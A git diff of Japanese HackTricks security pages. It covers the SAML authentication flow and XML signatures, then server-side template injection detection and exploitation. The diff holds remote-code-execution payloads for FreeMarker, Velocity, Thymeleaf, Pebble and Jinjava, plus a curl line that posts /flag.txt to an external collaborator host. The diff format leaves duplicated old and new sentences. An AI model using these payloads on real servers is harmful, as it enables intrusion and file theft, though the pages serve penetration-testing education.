**Security Assertion Markup Language(SAML)**は、アイデンティティプロバイダー(IdP)がサービスプロバイダー(SP)に認証資格情報を送信できるようにするオープン標準です。基本的に、複数のウェブサイトで1つの資格情報セットを使用できるシングルサインオン(SSO)を可能にします。これにより、複数のログイン(例:メール、CRMソフトウェア、Active Directoryなど)の管理が簡素化されます。SAMLは、IdPとSPの間でユーザーのアイデンティティ認証をサービスの認可とリンクするためにXMLを使用して標準化された通信を容易にします。
|
||||
**セキュリティアサーションマークアップ言語(SAML)**は、アイデンティティプロバイダー(IdP)がサービスプロバイダー(SP)に認証資格情報を送信するために利用され、シングルサインオン(SSO)を容易にします。このアプローチは、複数のログインの管理を簡素化し、複数のウェブサイトで1つの資格情報セットを使用できるようにします。ユーザーの認証とサービスの認可をリンクするために、IdPとSPの間で標準化された通信にXMLを活用しています。
|
||||
|
||||
# SAMLとOAuthの比較
|
||||
## SAMLとOAuthの比較
|
||||
|
||||
**SAML**と**OAuth**は両方ともインターネットログインを効率化しますが、それぞれの違いがあります:
|
||||
|
||||
- **SAML**は企業により多くの制御を提供し、SSOログインのセキュリティを向上させます。
|
||||
- **OAuth**はモバイルフレンドリーであり、JSONを利用し、GoogleとTwitterによって共同開発されました。
|
||||
- **SAML**は、企業がSSOログインセキュリティをより細かく制御できるように設計されています。
|
||||
- **OAuth**は、モバイルフレンドリーであり、JSONを使用し、GoogleやTwitterなどの企業の協力によるものです。
|
||||
|
||||
# SAML認証フロー
|
||||
|
||||
詳細については、[https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/)から完全な投稿を確認してください。これは要約です:
|
||||
**詳細については、[https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/)から完全な投稿を確認してください。** これは要約です:
|
||||
|
||||
SAML認証プロセスには、次のステップが関与します(スキーマで示されています):
|
||||
SAML認証プロセスには、次のステップが関与します。スキーマで示されている通り:
|
||||
|
||||
![https://epi052.gitlab.io/notes-to-self/img/saml/saml-flow.jpg](https://epi052.gitlab.io/notes-to-self/img/saml/saml-flow.jpg)
|
||||
|
||||
|
@ -37,15 +35,15 @@ SAML認証プロセスには、次のステップが関与します(スキー
|
|||
3. **IdPへのリダイレクト**:ユーザーはIdPにリダイレクトされ、SAMLリクエストがユーザーのブラウザを介して渡されます。
|
||||
4. **IdPがリクエストを受信**:IdPはSAMLリクエストを受信します。
|
||||
5. **IdPでの認証**:IdPがユーザーを認証します。
|
||||
6. **ユーザーの検証**:IdPはユーザーのリクエストされたリソースへのアクセス権を検証します。
|
||||
7. **SAMLレスポンスの作成**:IdPは必要なアサーションを含むSAMLレスポンスを生成します。
|
||||
6. **ユーザーの検証**:IdPは、ユーザーが要求されたリソースにアクセスする正当性を検証します。
|
||||
7. **SAMLレスポンスの作成**:IdPは、必要なアサーションを含むSAMLレスポンスを生成します。
|
||||
8. **SPのACS URLへのリダイレクト**:ユーザーはSPのAssertion Consumer Service(ACS)URLにリダイレクトされます。
|
||||
9. **SAMLレスポンスの検証**:ACSがSAMLレスポンスを検証します。
|
||||
10. **リソースアクセスが許可される**:最初にリクエストされたリソースへのアクセスが許可されます。
|
||||
10. **リソースアクセスが許可される**:最初に要求されたリソースへのアクセスが許可されます。
|
||||
|
||||
# SAMLリクエストの例
|
||||
|
||||
セキュアリソースへのアクセスをリクエストするユーザーのシナリオを考えてみましょう:[https://shibdemo-sp1.test.edu/secure/](https://shibdemo-sp1.test.edu/secure/)。SPは認証の欠如を特定し、SAMLリクエストを生成します:
|
||||
ユーザーが[https://shibdemo-sp1.test.edu/secure/](https://shibdemo-sp1.test.edu/secure/)のセキュアリソースへのアクセスをリクエストするシナリオを考えてみましょう。SPは認証の欠如を特定し、SAMLリクエストを生成します:
|
||||
```
|
||||
GET /secure/ HTTP/1.1
|
||||
Host: shibdemo-sp1.test.edu
|
||||
|
@ -57,7 +55,7 @@ SAMLリクエストの生データは次のようになります:
|
|||
<samlp:AuthnRequest ...
|
||||
</samlp:AuthnRequest>
|
||||
```
|
||||
- **AssertionConsumerServiceURL**: IdPがSAMLレスポンスを認証後に送信する場所を指定します。
|
||||
- **AssertionConsumerServiceURL**: IdPがSAMLレスポンスを送信する場所を指定します。
|
||||
- **Destination**: リクエストが送信されるIdPのアドレスです。
|
||||
- **ProtocolBinding**: SAMLプロトコルメッセージの送信方法を定義します。
|
||||
- **saml:Issuer**: リクエストを開始したエンティティを識別します。
|
||||
|
@ -69,22 +67,22 @@ SAMLリクエストの生成後、SPは**302リダイレクト**を返し、ブ
|
|||
|
||||
[こちらで完全なSAMLレスポンスを見つけることができます](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/)。レスポンスの主要なコンポーネントは次のとおりです:
|
||||
|
||||
- **ds:Signature**: このセクションはXML署名で、アサーションの発行者の整合性と信頼性を保証します。例のSAMLレスポンスには、メッセージ用とアサーション用の2つの`ds:Signature`要素が含まれています。
|
||||
- **ds:Signature**: このセクションはXML署名で、アサーションの発行者の整合性と信頼性を確保します。例のSAMLレスポンスには、メッセージ用とアサーション用の2つの`ds:Signature`要素が含まれています。
|
||||
- **saml:Assertion**: この部分には、ユーザーのアイデンティティや他の属性に関する情報が含まれています。
|
||||
- **saml:Subject**: アサーション内のすべてのステートメントの主題を指定します。
|
||||
- **saml:StatusCode**: 対応するリクエストに対する操作のステータスを表します。
|
||||
- **saml:Conditions**: アサーションの有効期間や指定されたサービスプロバイダのような条件の詳細を示します。
|
||||
- **saml:AuthnStatement**: IdPがアサーションの主題を認証したことを確認します。
|
||||
- **saml:AttributeStatement**: アサーションの主題を記述する属性が含まれています。
|
||||
- **saml:AttributeStatement**: アサーションの主題を記述する属性を含みます。
|
||||
|
||||
SAMLレスポンスの後、プロセスにはIdPからの302リダイレクトが含まれます。これにより、サービスプロバイダのAssertion Consumer Service(ACS)URLに対するPOSTリクエストが行われます。POSTリクエストには`RelayState`および`SAMLResponse`パラメータが含まれます。ACSはSAMLレスポンスの処理と検証を担当します。
|
||||
|
||||
POSTリクエストを受信し、SAMLレスポンスが検証されると、ユーザーが最初にリクエストした保護されたリソースへのアクセスが許可されます。これは、`GET`リクエストが`/secure/`エンドポイントに対して行われ、成功したリソースへのアクセスを示す`200 OK`レスポンスで示されます。
|
||||
POSTリクエストを受信し、SAMLレスポンスが検証されると、ユーザーが最初にリクエストした保護されたリソースへのアクセスが許可されます。これは、`GET`リクエストを`/secure/`エンドポイントに対して行い、成功したリソースへのアクセスを示す`200 OK`レスポンスで示されます。
|
||||
|
||||
|
||||
# XML署名
|
||||
|
||||
XML署名は多目的であり、XMLツリー全体または特定の要素に署名することができます。これはレスポンス要素だけでなく、任意のXMLオブジェクトに適用できます。以下はXML署名の主要なタイプです:
|
||||
XML署名は多目的であり、XMLツリー全体または特定の要素に署名することができます。これはレスポンス要素だけでなく、任意のXMLオブジェクトに適用できます。以下にXML署名の主要なタイプを示します:
|
||||
|
||||
### XML署名の基本構造
|
||||
XML署名には、次に示す基本要素が含まれます:
|
||||
|
@ -146,7 +144,7 @@ XML署名には、次に示す基本要素が含まれます:
|
|||
</ds:Signature>
|
||||
```
|
||||
|
||||
3. **分離署名**:このタイプは、署名とコンテンツが独立して存在しますが、両者の間にリンクが維持されます。
|
||||
3. **切り離し署名**:このタイプは、署名されるコンテンツとは別に存在します。署名とコンテンツは独立して存在しますが、両者の間にリンクが維持されます。
|
||||
|
||||
例:
|
||||
```xml
|
||||
|
@ -163,8 +161,4 @@ XML署名には、次に示す基本要素が含まれます:
|
|||
</ds:Signature>
|
||||
```
|
||||
|
||||
結論として、XML署名はXMLドキュメントを保護する柔軟な方法を提供し、各タイプが異なる構造上のニーズやセキュリティ上のニーズを満たします。
|
||||
|
||||
|
||||
# 参考文献
|
||||
* [https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/)
|
||||
結論として、XML署名は異なる構造とセキュリティのニーズを満たすために柔軟な方法を提供し、各タイプが異なる構造とセキュリティのニーズに対応しています。
|
||||
|
|
|
@ -7,110 +7,54 @@
|
|||
HackTricksをサポートする他の方法:
|
||||
|
||||
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
- [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)をフォローする
|
||||
- **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **と** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦で私をフォローする:[**@carlospolopm**](https://twitter.com/carlospolopm)。
|
||||
- **ハッキングトリックを共有するためにPRを提出して** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリに。
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com) は**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**でも最も重要なイベントの1つです。**技術的知識の促進を使命**とするこの会議は、あらゆる分野のテクノロジーとサイバーセキュリティ専門家の熱い出会いの場です。
|
||||
[**RootedCON**](https://www.rootedcon.com) は**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**で最も重要なイベントの1つです。**技術知識の促進を使命とする**この会議は、あらゆる分野のテクノロジーとサイバーセキュリティ専門家の熱い出会いの場です。
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
## サーバーサイドテンプレートインジェクションとは何ですか?
|
||||
## SSTI(Server-Side Template Injection)とは
|
||||
|
||||
サーバーサイドテンプレートインジェクションは、攻撃者が悪意のあるペイロードをテンプレートに注入し、それがサーバーサイドで実行されることができるように、ネイティブテンプレート構文を使用できる場合に発生します。
|
||||
サーバーサイドテンプレートインジェクションは、攻撃者がサーバーで実行されるテンプレートに悪意のあるコードをインジェクトできる脆弱性です。この脆弱性は、Jinjaを含むさまざまな技術で見つかる可能性があります。
|
||||
|
||||
**テンプレートエンジン**は、**固定**テンプレートと**不安定**データを**組み合わせて**ウェブページを生成するように設計されています。サーバーサイドテンプレートインジェクション攻撃は、**ユーザー入力**がデータとして渡されるのではなく、直接**テンプレートに連結**される場合に発生します。これにより、攻撃者は任意のテンプレートディレクティブを注入してテンプレートエンジンを操作し、しばしば**サーバーの完全な制御を取る**ことができます。
|
||||
|
||||
脆弱なコードの例は次のとおりです:
|
||||
```php
|
||||
$output = $twig->render("Dear " . $_GET['name']);
|
||||
JinjaはWebアプリケーションで使用される人気のあるテンプレートエンジンです。Jinjaを使用した脆弱なコードスニペットを示す例を考えてみましょう:
|
||||
```python
|
||||
output = template.render(name=request.args.get('name'))
|
||||
```
|
||||
前の例では、**テンプレートの一部**が`GET`パラメータ`name`を使用して**動的に生成**されています。テンプレート構文がサーバーサイドで評価されるため、これにより攻撃者が`name`パラメータ内にサーバーサイドテンプレートインジェクションペイロードを配置する可能性があります。
|
||||
以下の脆弱なコードでは、ユーザーのリクエストからの `name` パラメータが `render` 関数を使用して直接テンプレートに渡されます。これにより、攻撃者が `name` パラメータに悪意のあるコードをインジェクトする可能性があり、サーバーサイドテンプレートインジェクションが発生する可能性があります。
|
||||
|
||||
たとえば、攻撃者は次のようなペイロードを含むリクエストを作成することができます:
|
||||
```
|
||||
http://vulnerable-website.com/?name={{bad-stuff-here}}
|
||||
```
|
||||
## サーバーサイドテンプレートインジェクション攻撃の構築
|
||||
ペイロード `{{bad-stuff-here}}` が `name` パラメータにインジェクトされます。このペイロードには、攻撃者が未承認のコードを実行したり、テンプレートエンジンを操作したりして、サーバーを制御する可能性がある Jinja テンプレートディレクティブが含まれています。
|
||||
|
||||
![](../../.gitbook/assets/ssti-methodology-diagram.png)
|
||||
サーバーサイドテンプレートインジェクションの脆弱性を防ぐために、開発者はユーザー入力がテンプレートに挿入される前に適切にサニタイズおよび検証されることを確認する必要があります。入力検証の実装やコンテキストに応じたエスケープ技術の使用は、この脆弱性のリスクを緩和するのに役立ちます。
|
||||
|
||||
### 検出
|
||||
サーバーサイドテンプレートインジェクション(SSTI)を検出するために、まず**テンプレートのファジング**が直接的なアプローチです。これには、テンプレートに特殊文字のシーケンス(`${{<%[%'"}}%\`)をインジェクトし、通常のデータとこの特殊ペイロードとの違いを分析します。脆弱性の指標には次のものがあります:
|
||||
- 脆弱性やテンプレートエンジンを明らかにするエラーの発生。
|
||||
- 反射中にペイロードが存在しないか、または一部が欠落している場合、サーバーが通常のデータとは異なる方法で処理していることを示す。
|
||||
|
||||
どんな脆弱性でも、悪用に向けた最初のステップはそれを見つけることです。おそらく最も簡単な初期アプローチは、テンプレートに一般的に使用される特殊文字のシーケンスをインジェクトして**テンプレートをファジング**することです。例えば、ポリグロットの**`${{<%[%'"}}%\`**などです。\
|
||||
サーバーが脆弱かどうかを確認するためには、パラメーターに**通常のデータ**を入力した場合と**指定されたペイロード**を入力した場合の応答の**違いを見つける**必要があります。\
|
||||
**エラーが発生**すると、**サーバーが脆弱である**ことやどの**エンジンが実行されている**かを簡単に特定できます。また、指定されたペイロードを**反映**することを**期待**していた場合に**反映されていない**場合や応答に**一部の文字が欠落**している場合にも、脆弱なサーバーを見つけることができます。
|
||||
- **プレーンテキストコンテキスト**:サーバーがテンプレート式を評価しているかどうかを確認して、XSS と区別します(例:`{{7*7}}`、`${7*7}`)。
|
||||
|
||||
**検出 - プレーンテキストコンテキスト**
|
||||
- **コードコンテキスト**:入力パラメータを変更して脆弱性を確認します。たとえば、`http://vulnerable-website.com/?greeting=data.username` の `greeting` を変更して、サーバーの出力が動的か固定かを確認します。`greeting=data.username}}hello` がユーザー名を返すかどうかを確認します。
|
||||
|
||||
指定された入力が**レンダリングおよび反映**されて応答に表示されます。これは簡単に単純な[**XSS**](../xss-cross-site-scripting/)脆弱性と**誤解**されることがありますが、テンプレート式内で**数学演算**を設定しようとすると区別が容易です。
|
||||
```
|
||||
{{7*7}}
|
||||
${7*7}
|
||||
<%= 7*7 %>
|
||||
${{7*7}}
|
||||
#{7*7}
|
||||
*{7*7}
|
||||
```
|
||||
**検出 - コードの文脈**
|
||||
|
||||
これらのケースでは、**ユーザー入力** が **テンプレート式** の中に配置されています。
|
||||
```python
|
||||
engine.render("Hello {{"+greeting+"}}", data)
|
||||
```
|
||||
URLアクセスは次のようになる可能性があります:`http://vulnerable-website.com/?greeting=data.username`
|
||||
|
||||
**`greeting`** パラメータを**異なる値**に**変更**すると、**レスポンスにはユーザー名が含まれません**が、`http://vulnerable-website.com/?greeting=data.username}}hello` のようにアクセスすると、**レスポンスにユーザー名が含まれます**(終了テンプレート式の文字が **`}}`** の場合)。\
|
||||
これらのテスト中に**エラー**が発生した場合、サーバーが脆弱であることがわかりやすくなります。
|
||||
|
||||
### 特定
|
||||
|
||||
テンプレートインジェクションの潜在性を検出したら、次のステップはテンプレートエンジンを特定することです。\
|
||||
多くのテンプレート言語が存在しますが、多くはHTML文字と衝突しないように特に選択された非常に似た構文を使用しています。
|
||||
|
||||
サーバーが**エラーを表示**している場合、エラー内で使用されている**エンジン**を見つけることができます。エラーを引き起こす可能性のあるいくつかのペイロード:
|
||||
|
||||
| `${}` | `{{}}` | `<%= %>` |
|
||||
| ----------- | ------------ | --------------- |
|
||||
| `${7/0}` | `{{7/0}}` | `<%= 7/0 %>` |
|
||||
| `${foobar}` | `{{foobar}}` | `<%= foobar %>` |
|
||||
| `${7*7}` | `{{7*7}}` | \`\` |
|
||||
|
||||
それ以外の場合は、異なる言語固有のペイロードを手動でテストし、テンプレートエンジンによってどのように解釈されるかを調査する必要があります。これを行う一般的な方法は、異なるテンプレートエンジンの構文を使用して任意の数学演算を注入することです。それらが正常に評価されるかどうかを観察できます。このプロセスを支援するために、次のような意思決定ツリーを使用できます:
|
||||
|
||||
![](<../../.gitbook/assets/image (272).png>)
|
||||
|
||||
### 悪用
|
||||
|
||||
**読む**
|
||||
|
||||
テンプレートインジェクションを見つけ、テンプレートエンジンを特定した後の最初のステップは、ドキュメントを読むことです。興味のある主要な領域は次のとおりです:
|
||||
|
||||
* 基本構文をカバーする「テンプレート作成者向け」セクション。
|
||||
* 'セキュリティに関する考慮事項' - テスト中のアプリを開発した人がこれを読んでいない可能性が高く、有用なヒントが含まれているかもしれません。
|
||||
* 組み込みメソッド、関数、フィルター、および変数のリスト。
|
||||
* 拡張機能/プラグインのリスト - いくつかはデフォルトで有効になっているかもしれません。
|
||||
|
||||
**探索**
|
||||
|
||||
脆弱性が見つからない場合、次のステップは**環境を探索**して、**アクセス可能なもの**を正確に把握することです。テンプレートエンジンによって提供される**デフォルトオブジェクト**と、開発者がテンプレートに渡す**アプリケーション固有のオブジェクト**の両方を見つけることができます。多くのテンプレートシステムは、スコープ内のすべてを含む 'self' や名前空間オブジェクトを公開し、オブジェクトの属性やメソッドをリストする方法があります。
|
||||
|
||||
組み込みの self オブジェクトがない場合は、[SecLists](https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt) と Burp Intruder のワードリストコレクションを使用して変数名をブルートフォースする必要があります。
|
||||
|
||||
開発者が提供したオブジェクトには、機密情報が含まれる可能性が高く、アプリケーション内の異なるテンプレート間で異なる場合があるため、このプロセスは理想的にはすべての異なるテンプレートに個別に適用されるべきです。
|
||||
|
||||
**攻撃**
|
||||
|
||||
この時点で、利用可能な攻撃対象について**明確なアイデア**を持ち、各機能を検討して脆弱性を悪用できるかどうかを確認できるはずです。広範なアプリケーションのコンテキストでアプローチすることが重要です - 一部の機能はアプリケーション固有の機能を悪用するために使用できます。以下の例では、テンプレートインジェクションを使用して任意のオブジェクト作成、任意のファイルの読み書き、リモートファイルのインクルード、情報開示、特権昇格の脆弱性をトリガーするために使用します。
|
||||
#### 識別フェーズ
|
||||
テンプレートエンジンを特定するには、エラーメッセージを分析したり、さまざまな言語固有のペイロードを手動でテストしたりする必要があります。エラーを引き起こす一般的なペイロードには `${7/0}`、`{{7/0}}`、`<%= 7/0 %>` があります。数学演算に対するサーバーの応答を観察することで、特定のテンプレートエンジンを特定できます。
|
||||
|
||||
## ツール
|
||||
|
||||
### [TInjA](https://github.com/Hackmanit/TInjA)
|
||||
|
||||
新しいポリグロットを利用する効率的なSSTI + CSTIスキャナー
|
||||
新しいポリグロットを利用する効率的な SSTI + CSTI スキャナー
|
||||
```bash
|
||||
tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
|
||||
tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123..."
|
||||
|
@ -129,7 +73,7 @@ python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment
|
|||
```
|
||||
### [テンプレートインジェクションテーブル](https://github.com/Hackmanit/template-injection-table)
|
||||
|
||||
44の主要なテンプレートエンジンの期待されるレスポンスとともに、最も効率的なテンプレートインジェクションポリグロットを含むインタラクティブなテーブルです。
|
||||
44の主要なテンプレートエンジンの期待されるレスポンスとともに、最も効率的なテンプレートインジェクションポリグロットを含むインタラクティブなテーブル。
|
||||
|
||||
## Exploits
|
||||
|
||||
|
@ -138,6 +82,7 @@ python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment
|
|||
この**ワードリスト**には、以下で言及されているエンジンの環境で定義された**変数**が含まれています:
|
||||
|
||||
* [https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt)
|
||||
* [https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt](https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt)
|
||||
|
||||
### Java
|
||||
|
||||
|
@ -148,6 +93,7 @@ ${{7*7}}
|
|||
${class.getClassLoader()}
|
||||
${class.getResource("").getPath()}
|
||||
${class.getResource("../../../../../index.htm").getContent()}
|
||||
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.
|
||||
```
|
||||
**Java - システムの環境変数を取得する**
|
||||
```java
|
||||
|
@ -185,10 +131,12 @@ ${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI()
|
|||
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
|
||||
${dwf.newInstance(ec,null)("id")}
|
||||
```
|
||||
**詳細**
|
||||
**詳細情報**
|
||||
|
||||
* [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)のFreeMarkerセクションを参照してください。
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker)
|
||||
|
||||
### Velocity (Java)
|
||||
```java
|
||||
#set($str=$class.inspect("java.lang.String").type)
|
||||
#set($chr=$class.inspect("java.lang.Character").type)
|
||||
|
@ -204,26 +152,36 @@ $str.valueOf($chr.toChars($out.read()))
|
|||
* [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)のVelocityセクション
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity)
|
||||
|
||||
### Thymeleaf (Java)
|
||||
### Thymeleaf
|
||||
|
||||
SSTIの典型的なテスト式は`${7*7}`です。この式はThymeleafでも機能します。リモートコード実行を達成したい場合、次のテスト式のいずれかを使用できます:
|
||||
Thymeleafでは、SSTI脆弱性の一般的なテストとして`${7*7}`の式があり、このテンプレートエンジンにも適用されます。潜在的なリモートコード実行のために、以下のような式が使用されます:
|
||||
|
||||
* SpringEL: `${T(java.lang.Runtime).getRuntime().exec('calc')}`
|
||||
* OGNL: `${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}`
|
||||
- SpringEL:
|
||||
```java
|
||||
${T(java.lang.Runtime).getRuntime().exec('calc')}
|
||||
```
|
||||
- OGNL:
|
||||
```java
|
||||
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
|
||||
```
|
||||
|
||||
ただし、前述のように、式は特別なThymeleaf属性でのみ機能します。テンプレートの異なる場所で式を使用する必要がある場合、Thymeleafは_式のインライン化_をサポートしています。この機能を使用するには、式を`[[...]]`または`[(...)]`内に配置する必要があります(特殊記号をエスケープする必要があるかどうかに応じて、どちらかを選択します)。したがって、Thymeleafに対する単純なSSTI検出ペイロードは`[[${7*7}]]`となります。
|
||||
Thymeleafでは、これらの式を特定の属性内に配置する必要があります。ただし、他のテンプレート位置では、`[[...]]`や`[(...)]`のような構文を使用して、_式のインライン化_がサポートされています。したがって、単純なSSTIテストペイロードは`[[${7*7}]]`のようになります。
|
||||
|
||||
ただし、上記の検出ペイロードが機能する可能性は非常に低いです。SSTIの脆弱性は通常、テンプレートがコード内で動的に生成される場合に発生します。Thymeleafはデフォルトではこのような動的に生成されたテンプレートを許可せず、すべてのテンプレートは事前に作成する必要があります。したがって、開発者が文字列からテンプレートを動的に作成したい場合、独自のTemplateResolverを作成する必要があります。これは可能ですが、非常に稀にしか発生します。
|
||||
ただし、このペイロードが機能する可能性は一般的に低いです。Thymeleafのデフォルト構成では、動的テンプレート生成はサポートされていません。テンプレートは事前に定義する必要があります。開発者は、文字列からテンプレートを動的に生成するために独自の`TemplateResolver`を実装する必要がありますが、これは一般的ではありません。
|
||||
|
||||
Thymeleafテンプレートエンジンのドキュメントを詳しく見てみると、_**式の前処理**_という興味深い機能が見つかります。アンダースコア間に配置された式(`__...__`)は前処理され、前処理の結果が通常の処理中に式の一部として使用されます。以下はThymeleafドキュメントからの公式例です:
|
||||
Thymeleafはまた、二重アンダースコア(`__...__`)内の式を事前処理する_式の前処理_も提供しています。この機能は、Thymeleafのドキュメントで示されているように、式の構築に利用できます。
|
||||
```java
|
||||
#{selection.__${sel.code}__}
|
||||
```
|
||||
**脆弱な例**
|
||||
```markup
|
||||
**Thymeleafにおける脆弱性の例**
|
||||
|
||||
以下のコードスニペットを考えてみてください。これは攻撃を受けやすい可能性があります:
|
||||
```xml
|
||||
<a th:href="@{__${path}__}" th:title="${title}">
|
||||
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
|
||||
|
||||
```
|
||||
これは、テンプレートエンジンがこれらの入力を適切に処理しない場合、次のようなURLにアクセスしてリモートコードを実行する可能性があることを示しています:
|
||||
```
|
||||
http://localhost:8082/(7*7)
|
||||
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
|
||||
```
|
||||
|
@ -295,7 +253,7 @@ __${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x
|
|||
|
||||
* `{{ someString.toUPPERCASE() }}`
|
||||
|
||||
Pebbleの古いバージョン(バージョン3.0.9未満):
|
||||
Pebbleの古いバージョン(バージョン3.0.9未満):
|
||||
```java
|
||||
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}
|
||||
```
|
||||
|
@ -306,9 +264,6 @@ Pebbleの古いバージョン(バージョン3.0.9未満):
|
|||
{% endraw %}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
{% set bytes = (1).TYPE
|
||||
.forName('java.lang.Runtime')
|
||||
.methods[6]
|
||||
|
@ -323,16 +278,16 @@ Pebbleの古いバージョン(バージョン3.0.9未満):
|
|||
```
|
||||
### Jinjava (Java)
|
||||
|
||||
Jinjavaは、Java向けのテンプレートエンジンです。これは、サーバーサイドテンプレートインジェクション(SSTI)攻撃の標的になる可能性があります。 Jinjavaを使用している場合は、慎重に入力を検証し、信頼できないデータをテンプレートに直接挿入しないようにしてください。
|
||||
Jinjavaは、Java向けのテンプレートエンジンです。これは、サーバーサイドテンプレートインジェクション(SSTI)攻撃の標的になる可能性があります。 Jinjavaを使用している場合は、入力検証とエスケープ処理を適切に行うことが重要です。
|
||||
```java
|
||||
{{'a'.toUpperCase()}} would result in 'A'
|
||||
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206
|
||||
```
|
||||
JinjavaはHubspotによって開発されたオープンソースプロジェクトで、[https://github.com/HubSpot/jinjava/](https://github.com/HubSpot/jinjava/)で入手可能です。
|
||||
|
||||
**Jinjava - コマンド実行**
|
||||
|
||||
[https://github.com/HubSpot/jinjava/pull/230](https://github.com/HubSpot/jinjava/pull/230)によって修正済み
|
||||
[https://github.com/HubSpot/jinjava/](https://github.com/HubSpot/jinjava/) で利用可能なHubspotによって開発されたオープンソースプロジェクトです。
|
||||
|
||||
[https://github.com/HubSpot/jinjava/pull/230](https://github.com/HubSpot/jinjava/pull/230) によって修正されました。
|
||||
```java
|
||||
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
|
||||
|
||||
|
@ -375,10 +330,6 @@ JinjavaはHubspotによって開発されたオープンソースプロジェク
|
|||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
{% raw %}
|
||||
{% %} and {{ }} blocks
|
||||
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}
|
||||
|
@ -403,7 +354,7 @@ JinjavaはHubspotによって開発されたオープンソースプロジェク
|
|||
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
|
||||
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
|
||||
```
|
||||
**詳細情報**
|
||||
**さらに情報**
|
||||
|
||||
* [https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html](https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html)
|
||||
|
||||
|
@ -415,8 +366,13 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc
|
|||
* `${{7*7}}` - 49
|
||||
* `${{request}}, ${{session}}, {{faceContext}}`
|
||||
|
||||
